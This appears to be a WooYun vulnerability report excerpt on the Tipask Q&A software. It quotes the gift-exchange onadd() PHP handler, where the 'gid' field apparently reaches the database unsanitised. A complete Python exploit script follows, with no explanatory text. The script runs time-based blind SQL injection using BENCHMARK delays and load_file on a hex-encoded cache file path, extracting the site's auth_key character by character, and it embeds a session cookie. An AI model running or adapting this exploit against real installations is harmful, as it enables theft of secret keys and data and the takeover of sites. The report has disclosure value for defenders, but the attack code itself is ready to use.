WooYun.org

function onadd() {


        if(isset($this->post['realname'])) {


            $realname = $this->post['realname'];


            $email = $this->post['email'];


            $phone = $this->post['phone'];


            $addr = $this->post['addr'];


            $postcode = $this->post['postcode'];


            $qq = $this->post['qq'];


            $notes = $this->post['notes'];


            $gid = $this->post['gid'];


            $param = array();


            if(''==$realname || ''==$email || ''==$phone||''==$addr||''==$postcode) {


                $this->message("为了准确联系到您，真实姓名、邮箱、联系地址（邮编）、电话不能为空！",'gift/default');


            }


            if (!preg_match("/^[a-z'0-9]+([._-][a-z'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$/",$email)) {


                $this->message("邮件地址不合法!",'gift/default');


            }


            if(($this->user['email'] != $email) && $this->db->fetch_total('user'," email='$email' ")) {


                $this->message("此邮件地址已经注册!",'gift/default');


            }


            $gift = $_ENV['gift']->get($gid);


            if($this->user['credit2']<$gift['credit']) {


                $this->message("抱歉！您的财富值不足不能兑换该礼品!",'gift/default');


            }


$_ENV['user']->update_gift($this->user['uid'],$realname,$email,$phone,$qq);


            $_ENV['gift']->addlog($this->user['uid'],$gid,$this->user['username'],$realname,$this->user['email'],$phone,$addr,$postcode,$gift['title'],$qq,$notes,$gift['credit']);


            $this->credit($this->user['uid'],0,-$gift['credit']);//扣除财富值


            $this->message("礼品兑换申请已经送出等待管理员审核！","gift/default");


        }


    }

#/usr/bin/pytyon


import urllib


import urllib2


from time import *


def inject(url,payload):


    post  = urllib.urlencode({


        'gid':payload,


        'realname':'testtest',


        'email':'email@**.**.**.**',


        'phone':'15800000000',


        'addr':'111111',


        'postcode':'22222'


    })


    header = {'Cookie':'tp_auth=70349FVn7tDasEWTHDyi6y7itpKIFhjiQ66UaK7mwIB31Rc7E0MttS8v7QfbBy1yGmiHDNptr3sjTC7RyXhM'}


    req = urllib2.Request(url,post,header)


    start_time = time()


    resp = urllib2.urlopen(req)


    flag = int(time()-start_time)


    return flag


def exploit():


    result = ""


    url = '**.**.**.**/tipask/?gift/add.html'


    for i in range(4677,4741):


        for num in range(32,127):


            flag= inject(url,"2) and if(ord(substring((select/**/load_file(0x443A5C417070536572765C7777775C74697061736B5C646174615C63616368655C73657474696E672E706870)),%s,1))=%s,BENCHMARK(5000000,md5(1)),null)#"%(i,num))


            if flag>0:


                mstr = i - 4676


                result = result+chr(num)


                print 'auth_key =>'+result


                break


if __name__=="__main__":


    exploit()